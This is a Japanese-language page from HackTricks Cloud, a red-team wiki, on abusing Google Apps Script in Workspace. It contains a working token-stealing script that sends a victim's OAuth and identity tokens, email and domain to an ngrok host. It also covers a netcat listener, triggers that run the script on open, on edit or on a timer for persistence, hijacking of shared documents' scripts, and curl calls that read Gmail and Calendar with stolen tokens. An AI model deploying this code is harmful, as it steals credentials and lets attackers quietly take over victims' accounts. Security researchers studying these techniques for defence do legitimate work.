GWS - App Scripts
Reading time: 13 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
App Scripts
App ScriptsはユーザーがApp Scriptにリンクされたドキュメントにエディタ権限でアクセスしたときにトリガーされるコードであり、OAuthプロンプトを受け入れた後に実行されます。
また、App Scriptの所有者によって特定の時間ごとに実行されるように設定することもできます(Persistence)。
App Scriptの作成
App Scriptを作成する方法はいくつかありますが、最も一般的な方法はGoogleドキュメント(任意のタイプ)からとスタンドアロンプロジェクトとして作成することです:
Google Docs、Sheets、またはSlidesからコンテナバウンドプロジェクトを作成する
- Docsドキュメント、Sheetsスプレッドシート、またはSlidesプレゼンテーションを開きます。
- 拡張機能 > Google Apps Scriptをクリックします。
- スクリプトエディタで、無題のプロジェクトをクリックします。
- プロジェクトに名前を付けて、名前の変更をクリックします。
スタンドアロンプロジェクトを作成する
Apps Scriptからスタンドアロンプロジェクトを作成するには:
script.google.com
に移動します。- 新しいプロジェクトを追加します。
- スクリプトエディタで、無題のプロジェクトをクリックします。
- プロジェクトに名前を付けて、名前の変更をクリックします。
Google Driveからスタンドアロンプロジェクトを作成する
- Google Driveを開きます。
- 新規 > その他 > Google Apps Scriptをクリックします。
Google Formsからコンテナバウンドプロジェクトを作成する
- Google Formsでフォームを開きます。
- その他 more_vert > スクリプトエディタをクリックします。
- スクリプトエディタで、無題のプロジェクトをクリックします。
- プロジェクトに名前を付けて、名前の変更をクリックします。
claspコマンドラインツールを使用してスタンドアロンプロジェクトを作成する
clasp
は、ターミナルからApps Scriptプロジェクトを作成、プル/プッシュ、デプロイするためのコマンドラインツールです。
詳細については、Command Line Interface using clasp
guideを参照してください。
App Scriptシナリオ
App ScriptでGoogle Sheetを作成する
App Scriptを作成することから始めます。このシナリオに対する私の推奨は、Google Sheetを作成し、**拡張機能 > App Scripts
**に移動することです。これにより、シートにリンクされた新しいApp Scriptが開きます。
トークンの漏洩
OAuthトークンへのアクセスを提供するには、サービス +
をクリックし、次のようなスコープを追加する必要があります:
- AdminDirectory: ディレクトリのユーザーとグループにアクセス(ユーザーに十分な権限がある場合)
- Gmail: Gmailデータにアクセス
- Drive: Driveデータにアクセス
- Google Sheets API: トリガーと連携するため
必要なスコープを自分で変更するには、プロジェクト設定に移動し、エディタで "appsscript.json" マニフェストファイルを表示
を有効にします。
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
リクエストをキャプチャするには、次のコマンドを実行するだけです:
ngrok tcp 4444
nc -lv 4444 #macOS
App Scriptを実行するために要求される権限:
.png)
warning
外部リクエストが行われるため、OAuthプロンプトは外部エンドポイントにアクセスするための権限を求めます。
トリガーの作成
アプリを読み込んだら、⏰ トリガーをクリックしてトリガーを作成します。関数として**getToken
を選択し、デプロイメントはHead
、イベントソースはFrom spreadsheet
、イベントタイプはOn open
またはOn edit
**(必要に応じて)を選択し、保存します。
デバッグしたい場合は、実行タブでApp Scriptsの実行を確認できます。
共有
App Scriptをトリガーするためには、被害者が編集者アクセスで接続する必要があります。
tip
App Scriptを実行するために使用されるトークンは、トリガーの作成者のものになります。他のユーザーが編集者としてファイルを開いても同様です。
共有されたドキュメントの悪用
caution
誰かがApp Scriptsとトリガーを使用してApp ScriptのHeadを持つドキュメントをあなたと共有した場合(固定デプロイメントではない)、App Scriptコードを変更(例えば、トークンを盗む関数を追加)し、アクセスすると、App Scriptはドキュメントを共有したユーザーの権限で実行されます! (トリガーが作成されたときに与えられたアクセススコープを持つ所有者のOAuthトークンに注意してください)。
スクリプトの作成者に誰かがスクリプトを変更したことを示す通知が送信されます(アラートを防ぐためにGmailの権限を使用してフィルターを生成するのはどうですか?)
tip
攻撃者がApp Scriptのスコープを変更した場合、更新は新しいトリガーが作成されるまでドキュメントに適用されません。したがって、攻撃者は、作成したトリガーで設定したスコープよりも多くのスコープを持つ所有者のトークンを盗むことはできません。
共有の代わりにコピー
ドキュメントを共有するためのリンクを作成すると、次のようなリンクが作成されます:https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
**"/edit"の部分を"/copy"**に変更すると、Googleはアクセスするのではなく、ドキュメントのコピーを生成するかどうかを尋ねます:
.png)
ユーザーがそれをコピーしてアクセスすると、ドキュメントの内容とApp Scriptsがコピーされますが、トリガーはコピーされないため、何も実行されません。
Webアプリケーションとしての共有
App ScriptをWebアプリケーションとして共有することも可能です(App ScriptのエディタでWebアプリケーションとしてデプロイします)が、次のようなアラートが表示されます:
.png)
その後、必要な権限を求める典型的なOAuthプロンプトが表示されます。
テスト
収集したトークンを使用してメールをリストするには、次のコマンドをテストできます:
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
ユーザーのカレンダーをリストする:
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
App Script as Persistence
持続性のための1つのオプションは、ドキュメントを作成し、getToken関数のトリガーを追加し、攻撃者とドキュメントを共有することです。これにより、攻撃者がファイルを開くたびに、被害者のトークンを抽出します。
また、App Scriptを作成し、X時間ごとにトリガーを設定することも可能です(例えば、毎分、毎時、毎日...)。資格情報や被害者のセッションを侵害した攻撃者は、App Scriptの時間トリガーを設定し、非常に特権的なOAuthトークンを毎日漏洩させることができます:
App Scriptを作成し、トリガーに移動し、トリガーを追加をクリックし、イベントソースとして時間駆動を選択し、あなたに最適なオプションを選択します:
.png)
caution
これにより、セキュリティアラートメールとモバイルへのプッシュメッセージが作成されます。
Shared Document Unverified Prompt Bypass
さらに、誰かが編集者アクセスを持つドキュメントを共有した場合、ドキュメント内にApp Scriptsを生成することができ、ドキュメントの所有者(作成者)がApp Scriptの所有者になります。
warning
これは、ドキュメントの作成者が、誰でも作成したApp Scriptの作成者として表示されることを意味します。
これはまた、App Scriptがドキュメントの作成者のWorkspace環境によって信頼されることを意味します。
caution
これはまた、App Scriptがすでに存在していて、人々がアクセスを許可している場合、ドキュメントの編集者権限を持つ誰でもそれを変更し、そのアクセスを悪用できることを意味します。
これを悪用するには、App Scriptをトリガーする人々が必要です。そして、1つの便利なトリックは、スクリプトをウェブアプリとして公開することです。アクセスを許可した人々がウェブページにアクセスすると、App Scriptをトリガーします(これは<img>
タグを使用しても機能します)。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。